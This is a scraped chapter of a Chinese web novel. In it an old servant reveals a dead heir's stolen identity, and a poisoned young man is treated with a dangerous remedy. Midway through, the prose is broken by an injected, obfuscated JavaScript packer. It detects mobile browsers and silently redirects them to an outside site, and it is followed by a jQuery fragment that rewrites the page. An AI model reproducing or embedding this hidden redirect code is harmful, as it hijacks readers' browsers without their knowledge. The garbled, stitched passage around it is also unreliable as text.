默认冷灰
24号文字
方正启体

11. 月神祭(六)

作者:松月与猫本书字数:K更新时间:
    “老夫人,乐师哥哥不是您儿子吗?”


    小鱼从老妇那里得到两个大红石榴,此时剥开一只,正坐在石座上甜甜地吃着。


    她有些好奇,于是便问道:“您为什么叫他‘莫少公子’呢?”


    “老妇不过是一个粗使婆子,如何可做我林家少主的慈母?也不必提什么‘老夫人’之名。”


    元阿棠抚摸着那几株翠绿如玉的修竹,眼神哀伤,向众人讲述种种往事。


    “我本是林府上的一个普通老仆,得夫人看重,管理内宅大小事务。”


    元阿棠闭眼,仿佛看到了元玉汐从少女到新妇,再到为人母的全部模样。


    “‘元阿棠’这一姓名,也是由夫人所赐。”


    “夫人与老爷琴瑟和谐,是一对人间难得的恩爱眷侣。只是苍天无眼,要他们双双染疫而亡,只留下一个体弱多病的独子。”


    “小主人年幼,门楣难支。我带着书信,与他入莫家投靠。莫将军与我家老爷是生死之交,对少主颇为照顾。”


    “我家少主自小身体不好,甚少出门游历。他以远超常人的坚韧和毅力,日复一日读学各种书籍。后来入了莫府,更是在莫家先生的教导下,心生济世之志。”


    “八岁以后,他几乎整日整夜宿在书斋,未曾有过一刻顽娱怠惰!”


    元阿棠忽地尖声质问道:


    “多年不见,莫少公子顶替我林氏少主,你至交好友的名姓存于世间,可还活得平安顺遂,问心无愧?”


    元阿棠走到林枫身前,言辞辛辣悲痛,眼中怒意深沉。她苍老的脸上皱纹纵横,每一道都好似伤痕堆叠,盛满了痛苦和悲伤。


    “我林氏最后的血脉,不过十五年纪,便身埋黄泉化作白骨。”


    “他是那么好的一个孩子啊!”老人伛偻发颤,声声泣血。


    林枫身体紧绷,像一竿被巨石压倒灵魂的竹。他轻轻启唇,却什么也没能说出。


    元阿棠白发凌乱,痛苦地嚎哭起来。浑浊的眼泪接连滚落,痛斥这人世的不公。


    “姐姐!老夫人她——”小鱼咬着腮帮子,眼中满是担忧。


    张晚晚朝她摇摇头。


    元阿棠突然扑到林枫身上,像是溺水的人抓住最后一根浮木。


    林枫抬起被攥得紧紧的手臂,轻拍老人颤抖的,瘦弱的脊背。


    他睫羽轻颤,眼中的痛苦深刻而沉静。


    张晚晚将难过的小鱼拥在怀中。


    青竹叟不言,仰头灌入最后一口粗涩的药酒。


    樟叶簌簌,朗日高悬。恒久的光粒闪烁,抚慰又一片破碎的胸膛。


    ……


    良久,元阿棠平静下来。张晚晚开口,询问杨天翊之事。


    “那日,老身因离宅给少主选取作画题字的笔墨晚归,不在府中,才留得一命。”


    “后来……”老妇人停顿一瞬,继续道,“待我赶到莫家府邸时,那里已经被州兵重重包围。”


    “我因莫家灭门当街恸哭,被杨公子认出。他以信物告知少主还活着,又将我送至城中一处宅院安置。老身心中有盼,便日复一日地生捱着。”


    “晚姑娘带走的赤竹图,便是那时杨公子体恤我思念少主,亲手绘制的仿作。”


    “直到少主离狱那天,老身带着赤竹图和笔墨前去迎接。才发现,少主竟然成了莫少公子。我家少主早已经死在了那个夜里!”


    “老身心中悲愤难言,想去质问莫少公子一切缘由,却被暗中打晕带到这里。”


    “这些护卫家丁从不和老身交谈。将我关在这里,大概也只是为了要挟‘林枫公子’置身事外,不要妄图去搅动莫家灭门案这一深潭之水。”


    “没想到他们对外竟然冒称是杨公子手下。”


    老妇脸上划过嘲弄。


    “老身住在这山上五年。”


    “前面四年,我心中大半是愤恨,愤恨老天不公,让我那赤子之心的小主人代替他人惨死。”


    “还有一半是痛苦,痛苦莫家上上下下几十个无辜之人,就这么不明不白地死去!”


    元阿棠抬起头,被岁月磨刻的凹陷眼睛里,重新泛起坚定锋利的光。


    她对林枫道:


    “莫少公子,老婆子不过是林府的一个粗使丫环,得夫人重用,又得少主敬重,此生已然福禄无边,感念至深,无以为报。”


    “我家少主愿意用性命护您,是因为他觉得值得。”


    她看着眼前如修竹一般俊雅出尘的男子,释然一笑,就像看到了那平安长大的少主人。


    元阿棠跪倒在地,一滴滚烫的浊泪掉落。


    “老身一叶障目迁怒公子多年,是我之过。”


    她伏拜道:“还请莫少公子不要负了‘林枫’这个名字,让莫家冤情能早日大白于天下,让我林家少主在天之灵可得安息!”


    “老婆子会好好活着,替我家少主人,等到莫家沉冤昭雪的那一天!”


    林枫透过这张沧桑衰老的脸,恍惚间,仿佛又看到了那夜的火光下,笑得恣肆洒脱,毫不畏惧黑暗阴影的俊秀少年。


    “好。”清雅坚定的声音响起。


    不敢靠近的愧疚和悔恨,终究会成为劈开血夜的长剑。


    成为明堂高升之前,最温润耀眼的光。


    林枫闭眼。


    青竹叟右手晃了晃,把空酒葫芦丢到一旁,坐起身。


    他斜乜着一双眼看林枫,等手指转完两个圈,道一句:“倒!”


    一汪赤金的血液飞溅。林枫脸色一白,重重地倒在地上。


    “少公子!”元阿棠呼吸一滞,战战兢兢地试探林枫的呼吸,喉咙像是再次被不公的命运扼住。


    “晚姐姐!”小鱼怕得嘴唇泛白,一张小脸紧紧皱起。


    张晚晚旋身至林枫跟前,一把抓起他的手腕。


    号完脉,她面色凝重,疾声对青竹叟道:“老酒鬼,把你给林枫制的药丸拿一粒来!”


    青竹叟对医术有近乎疯狂的执念,每遇上一种不治之症,便会把给患者开出的药制成丸子,带在身边反复琢磨研思。


    “没有!”青竹叟别过脸去,不想理会。


    张晚晚双足一顿,抽出踏月就向他劈去!


    “哎哎哎!这怎么还打杀老人呢!”


    青竹叟向后一倒,双腿勾住廊柱旋转,避开踏月的第一刺。


    他右手掌心一击,借力直直飞向庭院中心,坐到几个被捆绑的壮汉身上,翘起右腿晃荡。


    张晚晚不语,反手将踏月掷出,泛霜的刀刃直刺青竹叟右眼!


    “身为医者,眼见伤患而不救!这对招子我帮你除了!”她冷冷道。


    青竹叟惊慌一瞪,从几个壮汉的身上慌乱一滑,屁股砸在冰凉的石板上。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405343|184432||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    他两指闪出,险险夹住踏月的刀柄,被震得一阵发麻,连忙解释道:


    “张小晚,不是你小师叔我不帮忙,实在是莫家案子牵扯太多!老头子我还要护着小孙女,趟不起这滩浑水啊!”


    张晚晚正欲再刺,却听一声响彻天地的大哭。


    小鱼的眼泪好似决堤一般哗哗淌落,小小的脸上满是痛苦和绝望。


    “爷爷你救救乐师哥哥吧!乐师哥哥他是个好人!”


    “小丫头片子懂什么!这年头好人难道就能长命了?你爷爷是在对我们爷孙俩的小命负责!”


    “嗯,嗯,”小鱼只停了一瞬,便哭得更加悲痛欲绝,“我不要乐师哥哥死!”


    小孙女哭到身体发颤浑身抽抽,青竹叟觉得自己的心都被扯碎了。


    “好!我救!我救总成了吧!小鱼丫头你别哭了!”


    他拍拍土从地上爬起,歪扭走到林枫跟前,从袖子里摸出粒乌黑锃亮的丸子,问张晚晚:


    “老夫我身为百晓堂药堂堂主,行走江湖,救人无数,也不过听过一次这小子中的毒。之前去狱中给他诊治,揪断胡须才想出个方子,勉强吊着他的命。”


    “这药服下如千刀剜身不说,每用一次,他体内的毒性还会更强一分。你确定要让我给这小子服药?”


    “况且这小子今日大怒之后又大悲,情绪波动之大,跟高阁跌坠有何两样?”


    青竹叟摊开林枫的手掌,见那白皙的掌心被赤金色所覆,更寒声道:“他还受了伤见了血。这药能有几分作用,你小师叔我是真拿不准!”


    青竹叟正愁闷着,倏地眼前一亮:“你不是有那绿色救命小药丸吗?快拿出来给这小子服用一颗!”


    他眼馋这药许久,一直被张晚晚防备着,未能得见。


    “他已用过一粒。”张晚晚道。


    第二颗拿来救了师兄,最后一枚,她想给师父留着。


    “作死啊!造孽啊!”青竹叟双腿伸直坐地,身子委顿着感叹。


    “我开这药,再服三次,这小子必死!”


    元阿棠闻言一颤,神情似哭非笑:“是老婆子我不该!”


    张晚晚飞到林枫身旁,将踏月收回。她抢过青竹叟手上的药,直直丢进林枫口中,又用内力催化。


    明日死总比今日死要好。


    林枫服药之后,身体猛烈地痉挛起来。苍白的脸色因痛苦而涨红,又因血液对经脉冲撞之狠而再次苍白。


    文雅疯狂都是表象。生老病死之下,凡人都是上苍吹息可毁的草芥。


    但……


    张晚晚犹豫片刻,踏月一闪,划破自己的手掌,喂到林枫嘴边。


    青竹叟直接呆愣原地。


    地上的人薄唇被血色染红,渐渐地不再颤动,能辨别出俊雅的脸庞。


    张晚晚抽回手掌,面无表情地扯下衣角一缠。


    “晚姑娘,阿栩我给你带来了新酿的好酒!”接到苍鹰传来的消息,杨天翊快马赶至七里坡。


    他穿着华丽紫色常服,乌玉束发,提着个翠玉酒壶,从门口跃进来。见众人围成一团,心中疑惑。


    待看清地上赤金的血液,酒壶落地,艰涩地道出三个字:


    “醉红尘!”


    景元六年,太傅之妻殷浅身中奇毒,与子外出访药寻医,被匪所掳。


    毒名:醉红尘。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)